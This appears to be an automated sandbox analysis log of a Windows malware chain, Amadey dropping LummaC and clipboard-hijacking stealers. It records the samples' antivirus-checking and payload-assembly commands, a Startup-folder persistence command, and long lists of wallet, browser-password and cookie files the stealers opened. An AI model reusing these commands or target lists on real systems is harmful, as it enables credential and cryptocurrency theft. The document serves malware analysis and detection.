Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 29442
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wendy + ..\Psychiatry + ..\Rid + ..\Games + ..\Norway + ..\Matching + ..\Jungle + ..\Elliott + ..\Jpg + ..\Americans + ..\Exhibits + ..\Peeing + ..\Typical + ..\Innocent + ..\Seafood + ..\Nervous + ..\Households + ..\Ai + ..\Hotel + ..\Holdem + ..\Drums + ..\Carlo + ..\Tm + ..\Landscape + ..\Resolutions + ..\Def + ..\Lambda + ..\Biodiversity + ..\Odds + ..\Smithsonian + ..\Blvd + ..\Actual + ..\Guy + ..\Expert + ..\Delaware + ..\Eagle + ..\Eugene + ..\Exempt + ..\Same + ..\Ebooks + ..\Individuals + ..\Sucking + ..\Chan + ..\Turns + ..\Satin + ..\Dealing + ..\Result + ..\Through + ..\Realized l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com Reynolds.com l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Maintained Maintained.cmd && Maintained.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 477151
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Enhancements + ..\Images + ..\Mhz + ..\Founded + ..\Pk + ..\Reflected + ..\Downloadcom L
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\477151\Selection.com Selection.com L
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe" /nologo /codebase "C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll"
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: unknown unknown
Source: C:\Windows\System32\wscript.exe	Process created: unknown unknown

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\wendy + ..\psychiatry + ..\rid + ..\games + ..\norway + ..\matching + ..\jungle + ..\elliott + ..\jpg + ..\americans + ..\exhibits + ..\peeing + ..\typical + ..\innocent + ..\seafood + ..\nervous + ..\households + ..\ai + ..\hotel + ..\holdem + ..\drums + ..\carlo + ..\tm + ..\landscape + ..\resolutions + ..\def + ..\lambda + ..\biodiversity + ..\odds + ..\smithsonian + ..\blvd + ..\actual + ..\guy + ..\expert + ..\delaware + ..\eagle + ..\eugene + ..\exempt + ..\same + ..\ebooks + ..\individuals + ..\sucking + ..\chan + ..\turns + ..\satin + ..\dealing + ..\result + ..\through + ..\realized l
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\zeuschat.url" & echo url="c:\users\user\appdata\local\cybersphere dynamics\zeuschat.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\zeuschat.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\wendy + ..\psychiatry + ..\rid + ..\games + ..\norway + ..\matching + ..\jungle + ..\elliott + ..\jpg + ..\americans + ..\exhibits + ..\peeing + ..\typical + ..\innocent + ..\seafood + ..\nervous + ..\households + ..\ai + ..\hotel + ..\holdem + ..\drums + ..\carlo + ..\tm + ..\landscape + ..\resolutions + ..\def + ..\lambda + ..\biodiversity + ..\odds + ..\smithsonian + ..\blvd + ..\actual + ..\guy + ..\expert + ..\delaware + ..\eagle + ..\eugene + ..\exempt + ..\same + ..\ebooks + ..\individuals + ..\sucking + ..\chan + ..\turns + ..\satin + ..\dealing + ..\result + ..\through + ..\realized l
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\zeuschat.url" & echo url="c:\users\user\appdata\local\cybersphere dynamics\zeuschat.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\zeuschat.url" & exit

Source: Reynolds.com, 00000020.00000003.14387277223.0000027C3501C000.00000004.00000001.00020000.00000000.sdmp, Reynolds.com, 00000020.00000000.14374336792.00007FF7A3598000.00000002.00000001.01000000.00000010.sdmp, Selection.com, 00000032.00000002.15605491272.0000000000706000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 00000037.00000002.14534841536.000001FC39592000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: Shell_TrayWnd
Source: skotes.exe, skotes.exe, 00000003.00000002.13904595500.0000000000D90000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: >CProgram Manager
Source: rodda.exe, 0000000C.00000002.14659235490.0000000001198000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: ?Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007944001\L.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009923001\uxN4wDZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009923001\uxN4wDZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010066001\rWmzULI.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010066001\rWmzULI.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010230001\SKOblik.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Queries volume information: C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Queries volume information: C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe

Code function: 5_2_00007FF77FB86D74 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_00007FF77FB86D74

Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: rodda.exe, rodda.exe, 0000000C.00000003.14580311185.0000000001A74000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001A91000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001A98000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001A91000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000002.14887228575.0000000001290000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14869795564.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000002.14887228575.0000000001275000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14882925730.0000000001275000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.file.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.14043450727.0000000005570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.13864024154.0000000005570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.13861306905.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.13904398630.0000000000BA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.13902305266.0000000000BA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.13883161992.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.13842539245.0000000005230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Clipboard Hijacker

Source: Yara match

File source: Process Memory Space: 926085a3ba.exe PID: 1596, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: rodda.exe PID: 7600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: L.exe PID: 2716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vg9qcBa.exe PID: 4948, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: rodda.exe	String found in binary or memory: Wallets/Electrum
Source: rodda.exe	String found in binary or memory: Wallets/ElectronCash
Source: rodda.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: rodda.exe	String found in binary or memory: window-state.json
Source: rodda.exe, 0000000C.00000003.14507012889.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: rodda.exe	String found in binary or memory: Wallets/Exodus
Source: rodda.exe	String found in binary or memory: %appdata%\Ethereum
Source: rodda.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: rodda.exe	String found in binary or memory: keystore
Source: L.exe, 0000000E.00000003.14735831402.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger LiveO

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
